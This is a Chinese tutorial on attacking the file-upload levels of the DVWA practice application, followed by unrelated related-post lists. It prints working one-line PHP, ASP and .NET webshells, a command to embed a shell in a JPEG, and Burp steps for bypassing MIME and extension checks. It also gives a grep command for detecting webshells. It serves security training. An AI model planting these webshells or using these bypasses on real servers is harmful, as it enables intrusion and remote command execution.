DVWA漏洞演练平台 - 文件上传
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
中国蚁剑的使用
本来想使用中国菜刀来演示WebShell的使用的,但中国菜刀太老了且不开源,还爆出过各种后门,所以笔者比较有阴影,这里我就使用中国蚁剑,中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,其使用方法和菜刀差不多而且跨平台。
蚁剑的安装需要下载两个文件,分别是加载器和源码,如下代码托管在了GitHub上:
> git clone https://github.com/AntSwordProject/antSword.git
> git clone https://github.com/AntSwordProject/AntSword-Loader.git
下载好以后点击加载器中的 AntSword.exe 程序然后选择antSword源代码,程序就可以正常工作了,接下来我们就来看下常用的WebShell小马的写法。
1.eval命令使用PHP系统中的函数
<?php eval($_REQUEST['cmd']); ?> 调用方式:http://lyshark.com/shell.php?cmd=phpinfo();
2.system命令使用Linux系统命令
# system 使用系统命令
<?php system($_REQUEST['cmd']); ?> http://lyshark.com/shell.php?cmd=cat /etc/passwd
3.图片木马的制作,PHP为例,执行CMD命令后会在当前位置生成一个lyshark.jpg的图片木马
准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg
4.中国蚁剑小马的写法
PHP: <?php @eval($_POST['lyshark']); ?>
ASP: <%eval request('lyshark') %>
.NET:<%@ Page Language="Jscript"%><%eval(Request.Item['lyshark'],"unsafe"); %>
如上以PHP代码为例,我们将其保存为shell.php然后上传至PHP主机空间中,配置蚁剑,配置好以后我们直接点击添加,就可以对网站进行管理了。
拓展:在Linux系统中如果想要排查是否有恶意的后门可以使用:fgrep -R 'eval($_POST[' /var/www/ 这条命令来排查。
DVWA 文件上传:低安全级别
如下代码就是DVWA低安全级别的代码,可以看到代码中并没有对上传的文件进行任何的过滤,有些Web应用会将上传文件的过滤工作在前端用JS来实现,以为这样可以减少服务器的负载,不过对于专业的技术人员来说,前端JS验证的方式可以被轻松的绕过。前端JS验证是用来纠正错误输入的。
<?php if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 指定上传目录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 获取上传文件名 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
1.这里我们使用Brup来上传一个简单的 lyshark.jpg 文件,然后上传途中使用Brup将其改为 shell.php ,首先Brup开启抓包,然后回到Web应用上选择 lyshark.jpg 图片文件,点击上传按钮,接着Brup会拦截这个请求。
2.然后我们需要修改Brup中的两个参数,需要注意的是:在HTTP协议中有请求头Content-Length它代表的是实体的正文长度,如果此时我们将文件名修改,也就意味着实体正文的长度增加或者减少了,所以也要修改请求头的大小才能够保证上传成功。
上面的例子:我们将 lyshark.jpg 修改为了 shell.php ,也就是说正文的长度减少了2,所以在Content-Length长度上需要减去2,默认是500这里要改成448,然后放行就可以上传成功了。
DVWA 文件上传:中安全级别
随着开发人员安全意识的提高,使用前端JS来验证的方式越来越少,一般会将验证环节放在服务端进行,相比于低安全级别来说,中安全级别代码如下,可以看到该级别增加了MIME类型的验证,开发人员经常会对MIME类型做验证,从而保证上传文件的可靠性,但这样做还远远不够,总还是可以被绕过。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && // 判断文件类型
( $uploaded_size < 100000 ) ) { if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
1.首先使用Brup开启抓包,然后回到Web页面上,此时我们上传一个 shell.php 然后点击上传,此时Brup拦截一个请求,通过观察Content-Type参数可发现并不是一个图片的格式,所以上传会失败。
2.我们将Content-Type修改成 image/jpeg 然后放行数据包,同样的可以上传成功,一般 GIF图片格式为 image/gif,CSS格式为 text/css,PHP格式为 application/php。
DVWA 文件上传:高安全级别
高安全级别的代码如下,仅仅只是判断文件的后缀,我们只需要制作一个图片木马。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
1.制作木马,直接上传就好。
准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg
DVWA漏洞演练平台 - 文件上传的更多相关文章
- WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞
漏洞名称: WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞 CNNVD编号: CNNVD-201311-015 发布时间: 2013-11-04 更新时间: 2013-11-0 ...
- DVWA靶机--简单的文件上传漏洞
简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../h ...
- DVWA之File Upload (文件上传漏洞)
目录 Low: Medium: 方法一:抓包修改文件的type 方法二:00截断 High: Impossible : Low: 源代码: <?php if( isset( $_POST[ 'U ...
- DVWA-全等级文件上传
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
- 上传漏洞科普[1]-文件上传表单是Web安全主要威胁
为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...
- 漏洞重温之文件上传(FUZZ)
文件上传FUZZ思路通关upload-labs Pass-16 黑盒阶段 进入第十六关,首先我们能看到,该页面的上传点为图片上传. 首先,先把对方想的简单一点,这里虽然是上传图片,但是可能只是前端js ...
- DVWA漏洞演练平台 - SQL注入
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
随机推荐
- Qt 线程基础(QThread、QtConcurrent等) 2
使用线程 基本上有种使用线程的场合: 通过利用处理器的多个核使处理速度更快. 为保持GUI线程或其他高实时性线程的响应,将耗时的操作或阻塞的调用移到其他线程. 何时使用其他技术替代线程 开发人员使用线 ...
- python 简单了解一下 描述器
1.描述器是什么? 在Python中描述器也被称为描述符, 1)描述器实际上是任何新式类(新式类是继承自 type 或者 object 的类),这种类至少实现了3个特殊的方法__get__, __se ...
- iOS如何将RGB565的原始图像数据转为UIImage对象
我们在做一些图像处理时,往往会涉及到RGB565这种图像数据格式.由于其每个像素仅占2个字节,对于不需要像素透明度的情况下使用RGB565既能基本能保证图像的色彩,又能降低图像数据尺寸,节省带宽.因此 ...
- VBA 格式化excel数据表 (数据分列)
Sub ImportData() ' ' Copy Data from one workbook to the Current Workbook ' Place the macro file in t ...
- openpose关节图
- tmpfs使用完毕导致数据库无法正常工作
df -h 查看 重新启动服务器就可以了
- lexicalized Parsing
$q$(S $\rightarrow$ NP VP) * $q$(NP $\rightarrow$ NNP) * $q$(VP $\rightarrow$ VB NP) * $q$(NP $\righ ...
- Windows下Apache+PHP+MySQL搭建web服务器
Apache+PHP+MySQL搭建服务器 工欲善其事必先利其器. 最近由于电脑出了问题不得不重新安装需要的文件,代码什么的都没了,以前也没怎么写过东西这回就先试试手,写的不是太好,希望大家不要介意哈 ...
- shell变量默认值
${var:-string},${var:+string},${var:=string},${var:?string} 1. ${var:-string}和${var:=string}:若变量var为 ...
- Flutter 状态管理 flutter_Provide
项目的商品类别页面将大量的出现类和类中间的状态变化,这就需要状态管理.现在Flutter的状态管理方案很多,redux.bloc.state.Provide. Scoped Model : 最早的状态 ...